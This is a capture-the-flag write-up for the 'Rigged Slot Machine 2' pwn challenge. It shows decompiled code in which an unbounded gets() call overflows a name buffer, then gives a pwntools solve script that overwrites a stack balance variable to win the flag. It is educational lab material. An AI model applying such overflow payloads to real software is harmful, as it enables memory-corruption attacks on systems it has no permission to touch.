Rigged Slot Machine 2
Writeup for Rigged Slot Machine 2 (Pwn) - 1337UP LIVE CTF (2024) 💜
Video walkthrough
Challenge Description
The casino fixed their slot machine algorithm - good luck hitting that jackpot now!
I mentioned that part 1 of this challenge was an unintended solution I caught before the CTF, so here's what I actually intended to make 😅
Solution
We don't know what the winning condition is yet but since it's a pwn challenges, let's check the binary protections.
checksec --file rigged_slot2
[*] '/home/crystal/Desktop/challs/pwn/RiggedSlotMachine2/solution/rigged_slot2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabledNo canaries, so potentially a buffer overflow for us to exploit. We'll check the disassembled code in ghidra soon. First, let's run the binary and see if it looks different to part 1.
nc localhost 1337
Welcome to the Rigged Slot Machine!
You start with $100. Can you beat the odds?
Enter your name:
cat
Welcome, cat!
Enter your bet amount (up to $100 per spin): 10
You lost $10.
Current Balance: $90
Enter your bet amount (up to $100 per spin): 10
You lost $10.
Current Balance: $80
Enter your bet amount (up to $100 per spin): 10
You lost $10.
Current Balance: $70
Enter your bet amount (up to $100 per spin): 50
You lost $50.
Current Balance: $20
Enter your bet amount (up to $100 per spin): 20
You lost $20.
Current Balance: $0
You're out of money! Game over!It looks similar, apart from the name entry at the beginning and the terrible odds (try your brute force script from part 1 if you like).
I've renamed some of the variables in ghidra.
setup_alarm(5);
balance = 100;
puts("Welcome to the Rigged Slot Machine!");
puts("You start with $100. Can you beat the odds?");
enter_name(name);
do {
while( true ) {
while( true ) {
bet = 0;
printf("\nEnter your bet amount (up to $%d per spin): ",100);
user_input = __isoc99_scanf(&%d,&bet);
if (user_input == 1) break;
puts("Invalid input! Please enter a numeric value.");
clear_input();
}
if ((bet < 1) || (100 < bet)) break;
if ((int)balance < bet) {
printf("You cannot bet more than your Current Balance: $%d\n",(ulong)balance);
}
else {
play(bet,&balance);
if (balance == 1337420) {
payout(&balance);
}
}
}
printf("Invalid bet amount! Please bet an amount between $1 and $%d.\n",100);
} while( true );Similar to last time, but we need to hit a balance of $1,337,420 within the 5 minute time limit (I might of reduced to 2-3 mins, can't remember). Checking the odds, they are terrible 😫
outcome = rand();
outcome = outcome % 1000;
if (outcome == 0) {
multiplier = 10;
}
else if (outcome < 5) {
multiplier = 5;
}
else if (outcome < 10) {
multiplier = 3;
}
else if (outcome < 15) {
multiplier = 2;
}
else if (outcome < 30) {
multiplier = 1;
}
else {
multiplier = 0;
}Soooo.. Back to this buffer overflow! The name buffer shows as 20 bytes in ghidra, but there is no limit to how much the user can provide (dangerous gets() function).
void enter_name(char *name)
{
puts("Enter your name:");
gets(name);
printf("Welcome, %s!\n",name);
return;
}Let's test this! Enter a long string (over 20) as the name and play some games.
nc localhost 1337
Welcome to the Rigged Slot Machine!
You start with $100. Can you beat the odds?
Enter your name:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Enter your bet amount (up to $100 per spin): 10
You lost $10.
Current Balance: $1094795575
Enter your bet amount (up to $100 per spin): 10
You lost $10.
Current Balance: $1094795565
Enter your bet amount (up to $100 per spin): 10
You lost $10.
Current Balance: $1094795555That's a lot of money!! We overwrite the balance on the stack 😌 We need exactly 1337420 though, let's automate it into a script.
solve.py
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = '''
'''.format(**locals())
exe = './rigged_slot2'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
io = start()
payload = b'A' * 20 + p32(1337421)
io.sendlineafter(b"Enter your name:", payload)
io.interactive()Give it a run ✅
python solve.py REMOTE 127.0.0.1 1337
[+] Opening connection to 127.0.0.1 on port 1337: Done
[DEBUG] Received 0x64 bytes:
b'Welcome to the Rigged Slot Machine!\r\n'
b'You start with $100. Can you beat the odds?\r\n'
b'Enter your name:\r\n'
[DEBUG] Sent 0x19 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000010 41 41 41 41 4d 68 14 00 0a │AAAA│Mh··│·│
00000019
[*] Switching to interactive mode
[DEBUG] Received 0x52 bytes:
00000000 57 65 6c 63 6f 6d 65 2c 20 41 41 41 41 41 41 41 │Welc│ome,│ AAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 4d 68 14 │AAAA│AAAA│AAAA│AMh·│
00000020 21 0d 0a 0d 0a 45 6e 74 65 72 20 79 6f 75 72 20 │!···│·Ent│er y│our │
00000030 62 65 74 20 61 6d 6f 75 6e 74 20 28 75 70 20 74 │bet │amou│nt (│up t│
00000040 6f 20 24 31 30 30 20 70 65 72 20 73 70 69 6e 29 │o $1│00 p│er s│pin)│
00000050 3a 20 │: │
00000052
Enter your bet amount (up to $100 per spin): $ 1
[DEBUG] Sent 0x2 bytes:
b'1\n'
[DEBUG] Received 0xaa bytes:
b'You lost $1.\r\n'
b'Current Balance: $1337420\r\n'
b"Congratulations! You've won the jackpot! Here is your flag: INTIGRITI{fake_flag}\r\n"Flag: INTIGRITI{1_w15h_17_w45_7h15_345y_1n_v3645}
Last updated